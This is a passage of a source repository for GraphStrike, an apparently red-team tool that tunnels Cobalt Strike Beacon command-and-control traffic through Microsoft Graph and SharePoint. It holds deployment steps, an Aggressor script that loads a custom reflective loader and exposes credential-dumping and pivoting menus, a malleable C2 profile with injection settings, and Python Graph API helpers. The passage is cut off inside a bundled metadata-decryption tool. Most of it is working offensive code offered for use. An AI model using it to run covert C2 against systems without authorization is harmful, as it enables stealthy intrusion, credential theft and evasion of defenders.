Loader](https://www.cobaltstrike.com/product/features/user-defined-reflective-loader)(UDRL) called [AceLdr](https://github.com/kyleavery/AceLdr/tree/main) by Kyle Avery (adapted as 'GraphLdr' in this project) to hook the WinINet library calls that Beacon normally makes and manipulate them as neccessary in order to use Graph API. There is no custom implant or additional process to speak of, just the Beacon process with a couple of hooked Windows API's. On the server side there is a Python3 program that translates Cobalt Strike Team Server traffic into Graph API traffic and vice-versa. 29 | 30 | # Features 31 | GraphStrike supports almost all normal Cobalt Strike activities to include: 32 | 1. Use of Proxychains through a Cobalt Strike SOCKS proxy (though it is very slow...) 33 | 2. Upload/Download of large files 34 | 3. BOFs, execute-assembly, etc. 35 | 36 | This also includes GraphStrike integration of the sleep, exit, and remove commands to match GraphStrike Server sleep times with Beacon as well as delete files in SharePoint when a Beacon is exited or removed. 37 | 38 | GraphStrike additionally incorporates all of the features and functionality of the original AceLdr, with some additional API's made to utilize call stack spoofing as well. 39 | 40 | # Requirements 41 | GraphStrike requires the following before you get started: 42 | 1. A Microsoft Azure tenant with a SharePoint/O365 license assigned + site created. The default site is fine. 43 | 2. An Azure account with Global Administrator permissions in that tenant. 44 | 3. Python 3.8-3.11[Note #4](#notes) (and additional dependencies that will be installed during the setup process) 45 | 46 | ## Firewall rules 47 | 1. Ensure that each machine that the Cobalt Strike client runs on is able to connect to the Cobalt Strike team server machine on ports 443 and 5000. 48 | 49 | # Setup 50 | Make note of the following before proceeding with the setup process: 51 | 52 | **1. Certain components utilize relative paths to locate other assets. Please change directories as instructed below.** 53 | **2. The Cobalt Strike profile may only be edited BEFORE step 5 in the below setup process[Note #1](#notes).** 54 | 55 | ### On the machine that will run the Cobalt Strike team server: 56 | 1. Clone the repo. 57 | 2. From the repo directory, run ```sudo setup/install_dependencies.sh``` to install required system dependencies. 58 | 3. Run ```python3 -m venv virtual``` and then ```source virtual/bin/activate``` to create and then enter the virtual environment. 59 | 4. Change to the setup directory and run ```pip3 install -r requirements.txt```. 60 | 5. Run ```./provisioner.py new``` and complete the setup process. 61 | 6. Start the Cobalt Strike team server using graphstrike.profile as the malleable C2 profile. 62 | 7. Start a Cobalt Strike client instance (you can do this on a client machine, or on the TS box and kill it afterwards) and create a Cobalt Strike HTTPS listener on port 443 with ```graph.microsoft.com``` as the HTTPS Hosts and HTTPS Host(Stager) fields. 63 | 8. Change back to the primary repo directory and run the GraphStrike Server using ```./GraphStrike.py```. 64 | 65 | ### On ALL machines that will run the Cobalt Strike client: 66 | 9. Copy the GraphStrike/client directory to the client machine from the TS machine. **This must be done only AFTER completing provisioning!** 67 | 10. Import GraphStrike.cna to Cobalt Strike using the Script Manager. 68 | 11. Create Cobalt Strike payloads, whether that be raw shellcode or compiled artifacts using the Artifact Kit or an alternate payload generation framework. **Artifact Kit users see below!** 69 | 12. Profit. 70 | 71 | ### Artifact Kit Users 72 | Due to the size of GraphLdr, users of the Artifact Kit will need to re-compile it with specific options in order for GraphStrike to be compatible with Artifact Kit generated payloads. Specifically, the 'Stage Size' and 'RDLL Size' fields need to be specified so as to use the 100K RDLL size. Two examples of working syntax are provided below: 73 | 74 | ```./build.sh pipe VirtualAlloc 505029 100 false false none /opt/cobaltstrike/artifacts``` 75 | ```./build.sh peek HeapAlloc 492376 100 false true indirect /opt/cobaltstrike/artifacts``` 76 | 77 | # Cleanup 78 | 79 | ### On the machine that is running the TS + GraphStrike Server: 80 | 1. Stop the GraphStrike server 81 | 2. Change back to the setup directory and run ```./provisioner.py delete``` to remove created Azure assets. 82 | 83 | # Notes 84 | In no particular order, here are a few suggestions and observations to help use GraphStrike to it's full potential. 85 | 1. The profile included with GraphStrike is very minimalistic; this is by design. **Changing any of the EXISTING fields in the profile may/will break GraphStrike!** You should be able to add additional profile language/behaviour to other sections that are not already defined (.e.g customize pipe name, injection behaviour, etc). **Any edits to the profile MUST be made prior to running the provisioner!** 86 | 2. The Azure application that is used for C2 communications by both Beacon and the GraphStrike Server is rate-limited to 1200 requests/min. The GraphStrike Server uses 120/min as a baseline to function. The lower a Beacon's sleep time is the more requests it will make; additionally, each Beacon created using GraphStrike is going to be using some of that 1200/min limit. Going interactive with a Beacon is doable, but going interactive with more than one Beacon probably isn't. If you run into rate limiting issues, consider increasing the sleep time for your beacons, decreasing the number of Beacon's you have running, or both. 87 | 3. While the GraphStrike Server's sleep time changes on a per-Beacon basis according to issued sleep commands, what this really means is that the GraphStrike Server will sleep for the specified time before checking in with the TS for tasking. It does NOT mean that Beacon will immediately receive and process the tasking as soon as it is retrieved from the TS by the GraphStrike server. Beacon will sleep the specified time before reaching out to SharePoint to retrieve TS tasking, but due to the nature of async C2 this will not be in lockstep with when the GraphStrike Server uploads it. 88 | 4. If a Beacon dies without having exited gracefully (AV, it crashes, etc), the Beacon will **appear** to still be calling into the TS, and the fact that it is dead will only become apparent once you issue it a command. What is really connecting to the TS / making it appear that the Beacon is still calling in is the GraphStrike server, so this really isn't a reflection on the health of a Beacon. Such is the nature of async C2. 89 | 5. GraphStrike works on a 1:1:1 model; 1 SharePoint site is associated with 1 GraphStrike server which is associated with 1 TS. You'll have issues if you try connecting two TS/GraphStrike servers to a single SharePoint site. You can of course connect multiple Cobalt Strike clients to a single TS / GraphStrike server, each client just needs a copy of the 'client' folder produced by the provisioning process. 90 | 6. There is a [known issue](https://github.com/Azure/azure-cli/issues/27673) regarding compatibility of the az utility used by GraphStrike and Python 3.12. 91 | 7. I'd recommend you review the documentation for [AceLdr](https://github.com/kyleavery/AceLdr/tree/main), as all of the notes from that project apply here as well. 92 | 93 | # Limitations 94 | The following limitations exist in GraphStrike: 95 | 1. Only x64 Beacons are supported. 96 | 2. Staged Beacons are not supported. 97 | 3. GraphStrike is only compatible with the WinINet library; the new WinHTTP library option for Beacons is not supported. 98 | 4. No support for issuing a sleep command via Beacon's right-click menu. Sleep beacons using the command line option instead. 99 | 5. GraphStrike is only supported on Linux instances of Cobalt Strike. Windows support is certainly possible to implement, and is really just a matter of changing around some paths within the Python files and Aggressor script. 100 | 101 | # Credits 102 | GraphStrike would not be possible without the contributions of the following individuals: 103 | 1. Kyle Avery for [AceLdr](https://github.com/kyleavery/AceLdr/tree/main) 104 | 2. Didier Stevens for [cs-decrypt-metadata.py](https://github.com/DidierStevens/DidierStevensSuite/blob/master/cs-decrypt-metadata.py) 105 | 3. Mike Saunders, Corey Overstreet, Chris Truncer, and Justin Palk from the Red Siege team who all kindly beta tested GraphStrike and identified multiple issues that were fixed prior to release. 106 | -------------------------------------------------------------------------------- /client/GraphStrike.cna: -------------------------------------------------------------------------------- 1 | $scriptDir = script_resource() . "/"; 2 | $scriptPath = $scriptDir . "message.py"; 3 | $teamserverIP = localip(); 4 | 5 | set BEACON_RDLL_SIZE { 6 | warn("Running 'BEACON_RDLL_SIZE' for DLL " . $1 . " with architecture " . $2); 7 | return "100"; 8 | } 9 | 10 | set BEACON_RDLL_GENERATE { 11 | $smpath = $scriptDir . "GraphLdr." . $3 . ".bin"; 12 | $hnd = openf( $smpath ); 13 | $ldr = readb( $hnd, -1 ); 14 | closef( $hnd ); 15 | 16 | if ( strlen( $ldr ) == 0 ) { 17 | return $null; 18 | }; 19 | warn("Loading custom user defined reflective loader from: " . $smpath); 20 | 21 | return setup_transformations($ldr . $2, $3); 22 | }; 23 | 24 | alias sleep { 25 | local('$command'); 26 | 27 | $command = "cd $scriptDir && $scriptPath $teamserverIP sleep $1 $2 && cd -"; 28 | 29 | # Append instructions to command to redirect stderr to processStdout 30 | $command = $command . " 2>&1"; 31 | 32 | # Run command in a subshell to redirect stderr -> processStdout 33 | $data = exec(@("/bin/sh", "-c", $command)); 34 | 35 | # We don't really need the output, but reading the data lets us block 36 | # until the server has completed work before we issue Beacon commands. 37 | $output = join("\n", readAll($data)); 38 | 39 | bsleep($1, $2, $3); 40 | } 41 | 42 | alias exit { 43 | exitFunc($1); 44 | } 45 | 46 | sub exitFunc { 47 | local('$command $beaconIds @bids $id $data $output') 48 | 49 | # $1 gets passed in as different data types depending on how exit is called... 50 | if (typeOf($1) eq "class sleep.engine.types.StringValue") 51 | { 52 | add(@bids, $1); 53 | } 54 | else if (typeOf($1) eq "class sleep.runtime.CollectionWrapper") 55 | { 56 | addAll(@bids, $1); 57 | } 58 | 59 | foreach $id (@bids) 60 | { 61 | $beaconIds = $beaconIds . " " . $id; 62 | } 63 | 64 | $command = "cd $scriptDir && $scriptPath $teamserverIP exit $beaconIds && cd -"; 65 | 66 | # Append instructions to command to redirect stderr to processStdout 67 | $command = $command . " 2>&1"; 68 | 69 | # Run command in a subshell to redirect stderr -> processStdout 70 | $data = exec(@("/bin/sh", "-c", $command)); 71 | 72 | # We don't really need the output, but reading the data lets us block 73 | # until the server has completed work before we issue Beacon commands. 74 | $output = join("\n", readAll($data)); 75 | 76 | if (size(@bids) > 0) 77 | { 78 | foreach $id (@bids) 79 | { 80 | bexit($id); 81 | } 82 | } 83 | else 84 | { 85 | bexit($1); 86 | } 87 | } 88 | 89 | sub removeFunc { 90 | local('$command $beaconIds @bids $id $data $output') 91 | 92 | addAll(@bids, $1); 93 | foreach $id (@bids) 94 | { 95 | $beaconIds = $beaconIds . " " . $id; 96 | } 97 | 98 | $command = "cd $scriptDir && $scriptPath $teamserverIP remove $beaconIds && cd -"; 99 | 100 | # Append instructions to command to redirect stderr to processStdout 101 | $command = $command . " 2>&1"; 102 | 103 | # Run command in a subshell to redirect stderr -> processStdout 104 | $data = exec(@("/bin/sh", "-c", $command)); 105 | 106 | # We don't really need the output, but reading the data lets us block 107 | # until the server has completed work before we issue Beacon commands. 108 | $output = join("\n", readAll($data)); 109 | 110 | foreach $id (@bids) 111 | { 112 | beacon_remove($id) 113 | } 114 | } 115 | 116 | # Have to redefine the Beacon Popup Menu in order to integrate support for GraphStrike Server with exit and remove right-click options. 117 | # From: https://hstechdocs.helpsystems.com/kbfiles/cobaltstrike/attachments/default.cna 118 | # BEACON POPUP MENU START 119 | popup_clear("beacon"); 120 | popup beacon { 121 | item "&Interact" { 122 | local('$bid'); 123 | foreach $bid ($1) { 124 | openOrActivate($bid); 125 | } 126 | } 127 | item "&Note..." { 128 | # resolve the note attached to the first highlighted Beacon 129 | local('$note'); 130 | $note = beacon_info($1[0], "note"); 131 | 132 | # prompt the user for a new note. 133 | prompt_text("Set Beacon Note:", $note, lambda({ 134 | binput($bids, "note $1"); 135 | beacon_note($bids, $1); 136 | }, $bids => $1)); 137 | } 138 | separator(); 139 | insert_menu("beacon_top", $1); 140 | menu "&Access" { 141 | item "&Dump Hashes" { 142 | local('$bid'); 143 | foreach $bid ($1) { 144 | openOrActivate($bid); 145 | binput($bid, "hashdump"); 146 | if (-isadmin $bid) { 147 | bhashdump($bid); 148 | } 149 | else { 150 | berror($bid, "this command requires administrator privileges"); 151 | } 152 | } 153 | } 154 | item "&Elevate" { openElevateDialog($1); } 155 | item "Golden &Ticket" { 156 | local('$bid'); 157 | foreach $bid ($1) { 158 | openGoldenTicketDialog($bid); 159 | } 160 | } 161 | item "Make T&oken" { 162 | local('$bid'); 163 | foreach $bid ($1) { 164 | openMakeTokenDialog($bid); 165 | } 166 | } 167 | item "&One-liner" { 168 | openOneLinerDialog($1); 169 | } 170 | item "Run &Mimikatz" { 171 | openOrActivate($1); 172 | binput($1, "logonpasswords"); 173 | blogonpasswords($1); 174 | } 175 | item "&Spawn" { 176 | openPayloadHelper(lambda({ 177 | binput($bids, "spawn $1"); 178 | bspawn($bids, $1); 179 | }, $bids => $1)); 180 | } 181 | item "Spawn &As" { 182 | local('$bid'); 183 | foreach $bid ($1) { 184 | openSpawnAsDialog($bid); 185 | } 186 | } 187 | } 188 | menu "&Explore" { 189 | item "&Browser Pivot" { 190 | local('$bid'); 191 | foreach $bid ($1) { 192 | openBrowserPivotSetup($bid); 193 | } 194 | } 195 | item "&Desktop (VNC)" { 196 | binput($1, "desktop"); 197 | bdesktop($1); 198 | } 199 | item "&File Browser" { 200 | local('$bid'); 201 | foreach $bid ($1) { 202 | openFileBrowser($bid); 203 | } 204 | } 205 | item "&Net View" { 206 | openOrActivate($1); 207 | binput($1, "net view"); 208 | bnet($1, "view"); 209 | } 210 | item "Port &Scan" { 211 | local('$bid'); 212 | foreach $bid ($1) { 213 | openPortScannerLocal($bid); 214 | } 215 | } 216 | item "&Process List" { openProcessBrowser($1); } 217 | item "S&creenshot" { 218 | binput($1, "screenshot"); 219 | bscreenshot($1); 220 | } 221 | } 222 | menu "&Pivoting" { 223 | item "&SOCKS Server" { 224 | local('$bid'); 225 | foreach $bid ($1) { 226 | openSOCKSSetup($bid); 227 | } 228 | } 229 | item "&Listener..." { 230 | local('$bid'); 231 | foreach $bid ($1) { 232 | openPivotListenerSetup($bid); 233 | } 234 | } 235 | separator(); 236 | item "&Deploy VPN" { 237 | local('$bid'); 238 | foreach $bid ($1) { 239 | openCovertVPNSetup($bid); 240 | } 241 | } 242 | } 243 | insert_menu("beacon_bottom", $1); 244 | separator(); 245 | menu "S&ession" { 246 | menu "&Color" { 247 | insert_component(colorPanel("beacons", $1)); 248 | } 249 | item "&Remove" { 250 | $bids = $1; 251 | prompt_confirm("Once a Beacon has been removed from the console, the corresponding files in SharePoint will also be deleted; Beacon can never call in again, even if you have not exited! Are you sure?", 252 | "Confirm Removal", 253 | { removeFunc($bids); }); 254 | } 255 | item "&Exit" { 256 | binput($1, "exit"); 257 | exitFunc($1); 258 | } 259 | } 260 | } 261 | # BEACON POPUP MENU END -------------------------------------------------------------------------------- /client/message.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import sys 4 | 5 | CS_MESSAGE_PORT = 5000 6 | 7 | def SendMessageToServer(args): 8 | TS_IP = args[1] # Grab the TS IP sent by Aggressor, as this is where the GraphStrike 9 | print(TS_IP) 10 | 11 | client_socket = socket.socket() # get instance 12 | client_socket.connect((TS_IP, CS_MESSAGE_PORT)) # connect to the server 13 | 14 | delimiter = ":" 15 | message = delimiter.join(args[2:]) 16 | 17 | client_socket.send(message.encode()) # send message 18 | 19 | # Print reply from main server instance. This will be picked up by the TS and acted on in the .cna script. 20 | data = client_socket.recv(1024).decode() # receive response 21 | print(data) 22 | 23 | client_socket.close() # close the connection 24 | 25 | if __name__ == '__main__': 26 | SendMessageToServer(sys.argv) -------------------------------------------------------------------------------- /graphstrike.profile: -------------------------------------------------------------------------------- 1 | set sleeptime "5000"; 2 | set tasks_max_size "2500000"; 3 | set host_stage "false"; 4 | 5 | # AceLdr recommended/required args 6 | stage { 7 | set cleanup "true"; # Recommended, proof that it works 8 | set userwx "false"; # Recommended, proof that it works 9 | set sleep_mask "false"; # !!Required!! 10 | set obfuscate "true"; # Recommended, proof that it works 11 | set stomppe "true"; # Recommended, proof that it works 12 | set smartinject "false"; # !!Required!! 13 | set allocator "VirtualAlloc"; # Not required, just an example 14 | } 15 | 16 | process-inject { 17 | set userwx "false"; # Recommended, proof that it works 18 | set startrwx "false"; # Recommended, proof that it works 19 | set allocator "VirtualAllocEx"; # Not required, just an example 20 | execute { # Not required, just an example 21 | CreateThread; 22 | CreateRemoteThread; 23 | NtQueueApcThread; 24 | RtlCreateUserThread; 25 | } 26 | } 27 | 28 | post-ex { 29 | set obfuscate "true"; # Recommended, proof that it works 30 | set smartinject "false"; # !!Required!! 31 | } 32 | 33 | http-config { 34 | # This section all relates to how the Cobalt Strike web server responds. 35 | # It's all irrelevant for GraphStrike, since the TS is just responding to the GraphStrike server's requests. 36 | set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; 37 | header "Server" "Apache"; 38 | header "Keep-Alive" "timeout=10, max=100"; 39 | header "Connection" "Keep-Alive"; 40 | } 41 | 42 | http-get { 43 | 44 | # We just need our URI to be something unique and recognizable in order for GraphStrike to parse out values 45 | set uri "/_"; 46 | set verb "GET"; 47 | 48 | client { 49 | 50 | metadata { 51 | base64url; 52 | uri-append; 53 | } 54 | } 55 | 56 | server { 57 | 58 | output { 59 | print; 60 | } 61 | } 62 | } 63 | 64 | http-post { 65 | 66 | # We just need our URI to be something unique and recognizable in order for GraphStrike to parse out values 67 | set uri "/-_"; 68 | set verb "POST"; 69 | 70 | client { 71 | 72 | id { 73 | uri-append; 74 | } 75 | 76 | output { 77 | print; 78 | } 79 | } 80 | 81 | server { 82 | 83 | output { 84 | print; 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /inc/banner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | BANNER = """ 4 | %%%%%%%#####% 5 | %%%%%%%%%%%%%%%%%%%#%%% * . .....::-==+=.====.+%+*%%% #% 6 | +* *=++++++++++===++*##%%%#*+ # ....:::::-=. --:-: +*=#%%%%%% .+**#% 7 | =--* #+++++++++*##%%%%#*+==---% # %. ....::::--= .-----: =++#%%%% =.***+=+#% 8 | %=----* #++**#%%%%#*+==---=====-# +* : ....:::--- .--==-=: -*+#%%% %.:-=***+++# 9 | #------= %#**+==--===========-* *+* = ....::::--- :--==-::. -++% % - :.:=***++=+% 10 | *------+ %#+=--===============+ #+++% + ...:::--: :::.....:. .+*% % # :-::-****-==# 11 | +----=*%#=- %--+#%%*+=--============ %++++% #. ..:::--: ......:::--: =*% -:+===+***-+*=% 12 | =---+#%*-...%%::::-=*%%#*=--========-% +++++# %:.::::--: ...::---:::. -+#% %.=+==+***-+*=% 13 | %--=*%%+:..:::%%::::::::-+#%%*+=--====-* *+++++* -.:::--: :::--:. -#* . .=#% +.+===+*+-**=% 14 | #-+#%#=:.:::::.%%:::::::::::-=*%%#*=--==+ #++++++* =.::--: ::-:.=..:-. .. .+% -:+=++*+-**=% 15 | #*%%+:..:::::::.# :::::::::::::::-+#%%*+== %++++++++% *::--: ::::+*- ......:::+--*%:-+***==**= 16 | ##=:.::::::::::.# ::::::::::::::::::-=*#%# *********% #---- :-.-++*+-:::::-+***-.-+:+***-=*+* 17 | *...:::::::::::.* -:::::::::::::::-::::- #%%%%%%#% +:-- :---==++*+===+**++==--=-.+**:+*=- 18 | %#%*-:.:::::::::.* -:::::::::::::::::=*#%** %=-------=% =.:-=.:--====++++*********++*+==*+:**-:% 19 | #-+%%+-..::::::.* -:::::::::::::-+#%#*=:.: *:------+ *:..:=:.+==-===+++++++++****++****--*=* 20 | %:.=*%#=:..:::.+ -:::::::::-=*#%*=-...::= +------* #-:-- %%%% #******#******=*+# 21 | =..:+#%*-..:.+ =::::::-+#%#+-:..:::::.* =-----# #=:% 22 | +....-*%#+-.= -::-=*%%*=:...::::::::.# -----% ______ ______ _______ _____ _ _ 23 | *.::...=#%** *+#%#+-:..::::::::::::: #---=% | ____ |_____/ |_____| |_____] |_____| 24 | #:.:::..:% *-....::::::::::::::- *--+ |_____| | \_ | | | | | 25 | %-.::::.+ #*+*###+=-:...::::::::.+ =:* _______ _______ ______ _____ _ _ _______ 26 | =.::.+ = ....:=+*###*=-:...:::.* -* |______ | |_____/ | |____/ |______ 27 | +..* - ....... .:-+*###*=-:..%%# ______| | | \_ __|__ | \_ |______ 28 | ** -.:......:::......:=+*#%#* Version: 1.0 29 | %%%%%%%%%%%%%%%%%%%%%%% Developed by @Octoberfest73 (https://github.com/Octoberfest7) 30 | 31 | """ -------------------------------------------------------------------------------- /inc/common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import os 5 | import time 6 | import re 7 | import random 8 | import stat 9 | import subprocess 10 | from shutil import which, copy 11 | import argparse 12 | import socket 13 | import threading 14 | import datetime 15 | from dateutil import parser 16 | from dataclasses import dataclass 17 | import requests 18 | requests.packages.urllib3.disable_warnings() 19 | from colorama import Fore, Style 20 | from azure.cli.core import get_default_cli 21 | 22 | # Have to define these vars here or else Python get angry. For all cases where we actually use them, 23 | # they are imported + populated by the config file. 24 | DRIVE_ID = None 25 | SITE_ID = None 26 | CLIENT_ID = None 27 | CLIENT_SECRET = None 28 | TENANT_ID = None 29 | 30 | ########################### OUTPUT FUNCTIONS ############################ 31 | def p_err(msg, exit): 32 | output = f"{Fore.RED}[-] {msg}{Style.RESET_ALL}" 33 | print(output) 34 | if exit: 35 | os._exit(-1) 36 | 37 | def p_warn(msg): 38 | output = f"{Fore.YELLOW}[-] {msg}{Style.RESET_ALL}" 39 | print(output) 40 | 41 | def p_success(msg): 42 | output = f"{Fore.GREEN}[+] {msg}{Style.RESET_ALL}" 43 | print(output) 44 | 45 | def p_info(msg): 46 | output = f"{Fore.CYAN}[*] {msg}{Style.RESET_ALL}" 47 | print(output) 48 | 49 | def p_info_plain(msg): 50 | output = f"{Fore.CYAN}{msg}{Style.RESET_ALL}" 51 | print(output) 52 | 53 | def p_task(msg): 54 | bufferlen = 75 - len(msg) 55 | output = f"{msg}{'.' * bufferlen}" 56 | print(output, end="", flush=True) 57 | 58 | # We can use some trickery to figure out what script loaded common.py. 59 | # For the situations required, try and import our configuration variables. 60 | script = os.path.basename(sys.argv[0]) 61 | if script == "GraphStrike.py" or (script == "provisioner.py" and sys.argv[1] == "delete"): 62 | try: 63 | from config import * 64 | configFound = True 65 | except: 66 | p_err("Cannot locate config file! Run the Provisioner and complete setup first.", True) 67 | 68 | ############################### GLOBALS ################################# 69 | userAgent = "Mozilla/6.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 70 | graphUrl = "https://graph.microsoft.com/v1.0/" 71 | graphDriveUrl = f"{graphUrl}drives/{DRIVE_ID}/root/children" 72 | graphFileUrl = f"{graphUrl}sites/{SITE_ID}/drive/items/" 73 | 74 | ######################### CHECK PYTHON VERSION ########################## 75 | def CheckVersion(): 76 | major = sys.version_info[0] 77 | minor = sys.version_info[1] 78 | ver = major + (minor * .01) 79 | if major < 3: 80 | p_err(f"GraphStrike requires Python 3.8+! Client running: Python {ver}", True) 81 | if minor < 8: 82 | p_err(f"GraphStrike requires Python 3.8+! Client running: Python {ver}", True) 83 | 84 | ######################### GET AUTH TOKEN FUNCTION ######################## 85 | def GetAccessToken(clientId=CLIENT_ID, clientSecret=CLIENT_SECRET, tenantId=TENANT_ID): 86 | 87 | loginUrl = f"https://login.microsoftonline.com/{tenantId}/oauth2/v2.0/token" 88 | 89 | PARAMS = { 90 | 'client_id':clientId, 91 | 'grant_type':'client_credentials', 92 | 'scope':'https://graph.microsoft.com/.default', 93 | 'client_secret':clientSecret 94 | } 95 | HEADERS = { 96 | 'User-Agent':userAgent 97 | } 98 | 99 | while(True): 100 | r = requests.post(url = loginUrl, headers = HEADERS, data = PARAMS) 101 | if "200" in str(r): 102 | data = r.json() 103 | access_token = data['access_token'] 104 | expires = data['expires_in'] - 500 105 | refreshTime = time.time() + expires 106 | return access_token, refreshTime 107 | 108 | # If a 400 is returned, the app isn't registered. User may have deleted it and then tried to run server again. 109 | elif "400" in str(r): 110 | p_err("Cannot fetch access token for app! App appears to have been deleted.", True) 111 | return None, None 112 | 113 | # If we otherwise didn't get a 200, wait a second and try again in the hopes it was a server error. 114 | else: 115 | p_warn("Failed to retrieve an access token, sleeping 60 seconds and trying again...") 116 | time.sleep(60) 117 | 118 | ########################### LIST FILES IN SHAREPOINT ################################ 119 | def ListFiles(access_token): 120 | URL = graphDriveUrl 121 | HEADERS = { 122 | 'User-Agent':userAgent, 123 | 'Authorization':'Bearer ' + access_token 124 | } 125 | while(True): 126 | try: 127 | r = requests.get(url = URL, headers = HEADERS) 128 | if "200" in str(r): 129 | data = r.json() 130 | break 131 | elif "429" in str(r): 132 | p_warn("Hit rate limit! Sleeping for 1 minute and then retrying...\nPsst consider increasing your sleep times!") 133 | time.sleep(60) 134 | else: 135 | p_warn(f"CheckBeacons request non-success code: {str(r)}") 136 | time.sleep(1) 137 | except: 138 | p_warn(f"CheckBeacons request exception: {str(r)}") 139 | time.sleep(1) 140 | 141 | driveItems = dict() 142 | for obj in data['value']: 143 | # Store id for use in creating file URI's 144 | id = obj['id'] 145 | # Store name for correlating ts tasking file and Beacon output file 146 | name = obj['name'] 147 | # Store size so we can tell when TS tasking file has changed + is available for new tasking 148 | size = obj['size'] 149 | # Store last modified date/time so we can tell how long a TS task has been queued without Beacon receiving it 150 | lastModified = obj['lastModifiedDateTime'] 151 | # Add drive item to dictionary 152 | driveItems[name] = {'id': id, 'size': size, 'lastModified': lastModified} 153 | 154 | return driveItems 155 | 156 | ############################### DELETE FILES ####################################### 157 | def DeleteFile(access_token, fileId): 158 | URL = graphFileUrl + fileId 159 | HEADERS = { 160 | 'User-Agent':userAgent, 161 | 'Authorization':'Bearer ' + access_token, 162 | } 163 | 164 | while(True): 165 | r = requests.delete(url = URL, headers = HEADERS) 166 | if "204" in str(r) or "404" in str(r): 167 | break 168 | else: 169 | p_warn(f"Encountered non-success code when deleting files: {str(r)} Data is: {str(r.content)}") 170 | time.sleep(1) -------------------------------------------------------------------------------- /inc/cs-decrypt-metadata.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from __future__ import print_function 4 | 5 | __description__ = 'Cobalt Strike: RSA decrypt metadata' 6 | __author__ = 'Didier Stevens' 7 | __version__ = '0.0.4' 8 | __date__ = '2021/12/16' 9 | 10 | """ 11 | Source code put in the public domain by Didier Stevens, no Copyright 12 | https://DidierStevens.com 13 | Use at your own risk 14 | 15 | History: 16 | 2021/10/10: start 17 | 2021/10/20: refactoring 18 | 2021/10/26: 0.0.2 parsing binary IPv4 address 19 | 2021/11/10: error handling decrypting; added option -t 20 | 2021/11/11: 0.0.3 refactoring: cCSInstructions, cOutput 21 | 2021/11/15: bugfix decoding 22 | 2021/12/16: 0.0.4 bugfix 23 | 24 | Todo: 25 | 26 | """ 27 | 28 | import binascii 29 | import struct 30 | import hashlib 31 | import re 32 | import optparse 33 | import os 34 | import sys 35 | import json 36 | import textwrap 37 | import base64 38 | import time 39 | try: 40 | import Crypto.PublicKey.RSA 41 | import Crypto.Cipher.PKCS1_v1_5 42 | except ImportError: 43 | print('pycrypto module is required: pip install pycryptodome') 44 | exit(-1) 45 | try: 46 | import javaobj 47 | except ImportError: 48 | javaobj = None 49 | 50 | def PrintManual(): 51 | manual = r''' 52 | Manual: 53 | 54 | This tool decrypts metadata sent by a Cobalt Strike beacon to its team server. 55 | Provide the metadata in base64 format as argument. More than one argument can be provided. 56 | Decrypting metadata requires a private key. 57 | A private key can be provided with option -p in hexadecimal format or with option -f as a file (.cobaltstrike.beacon_keys). 58 | If no private key is provided, all private keys in file 1768.json are tried. 59 | 60 | Example: 61 | 62 | cs-decrypt-metadata.py KN9zfIq31DBBdLtF4JUjmrhm0lRKkC/I/zAiJ+Xxjz787h9yh35cRjEnXJAwQcWP4chXobXT/E5YrZjgreeGTrORnj//A5iZw2TClEnt++gLMyMHwgjsnvg9czGx6Ekpz0L1uEfkVoo4MpQ0/kJk9myZagRrPrFWdE9U7BwCzlE= 63 | 64 | Input: KN9zfIq31DBBdLtF4JUjmrhm0lRKkC/I/zAiJ+Xxjz787h9yh35cRjEnXJAwQcWP4chXobXT/E5YrZjgreeGTrORnj//A5iZw2TClEnt++gLMyMHwgjsnvg9czGx6Ekpz0L1uEfkVoo4MpQ0/kJk9myZagRrPrFWdE9U7BwCzlE= 65 | Encrypted metadata: 28df737c8ab7d4304174bb45e095239ab866d2544a902fc8ff302227e5f18f3efcee1f72877e5c4631275c903041c58fe1c857a1b5d3fc4e58ad98e0ade7864eb3919e3fff039899c364c29449edfbe80b332307c208ec9ef83d7331b1e84929cf42f5b847e4568a38329434fe4264f66c996a046b3eb156744f54ec1c02ce51 66 | Decrypted: 67 | Header: 0000beef 68 | Datasize: 0000005d 69 | Raw key: caeab4f452fe41182d504aa24966fbd0 70 | aeskey: 3342f45e6e2f71f5975c998600b11471 71 | hmackey: 7142dd70f4ec320badac8ca246a9488f 72 | charset: 04e4 ANSI Latin 1; Western European (Windows) 73 | charset_oem: 01b5 OEM United States 74 | bid: 644d8e4 105175268 75 | pid: 1c7c 7292 76 | port: 0 77 | flags: 04 78 | var1: 10 79 | var2: 0 80 | var3: 19042 81 | var4: 0 82 | var5: 1988364896 83 | var6: 1988359504 84 | Internal IPv4: 10.6.9.111 85 | Field: b'DESKTOP-Q21RU7A' 86 | Field: b'maxwell.carter' 87 | Field: b'svchost.exe' 88 | 89 | By default, metadata is BASE64 encoded. If another transformation is used by the beacon to encode the metadata, option -t can be used to transform the metadata prior to decrypting. 90 | 91 | Example: 92 | 93 | cs-decrypt-metadata.py -t 7:Metadata,13,2:__cfduid=,6:Cookie __cfduid=GQ-rUvFDD0WewXldmHhCkZybJ5OB4ZrwbRbN6K4St2Jr7W1L0FR0eSZSdHtt0i9JHBBUzRnQj1U4a0a4meC9YMvgvdSIQ4QlqNEw5GMDKkTYjAcNRRCe3QYZ2FeW4dn5SALu70Eb7F5VzDoFcG_Hq3akmQpHH-RBWPYNxTX2fsE 94 | 95 | ''' 96 | for line in manual.split('\n'): 97 | print(textwrap.fill(line, 79)) 98 | 99 | DEFAULT_SEPARATOR = ',' 100 | QUOTE = '"' 101 | 102 | def IfWIN32SetBinary(io): 103 | if sys.platform == 'win32': 104 | import msvcrt 105 | msvcrt.setmode(io.fileno(), os.O_BINARY) 106 | 107 | #Fix for http://bugs.python.org/issue11395 108 | def StdoutWriteChunked(data): 109 | if sys.version_info[0] > 2: 110 | if isinstance(data, str): 111 | sys.stdout.write(data) 112 | else: 113 | sys.stdout.buffer.write(data) 114 | else: 115 | while data != '': 116 | sys.stdout.write(data[0:10000]) 117 | try: 118 | sys.stdout.flush() 119 | except IOError: 120 | return 121 | data = data[10000:] 122 | 123 | class cVariables(): 124 | def __init__(self, variablesstring='', separator=DEFAULT_SEPARATOR): 125 | self.dVariables = {} 126 | if variablesstring == '': 127 | return 128 | for 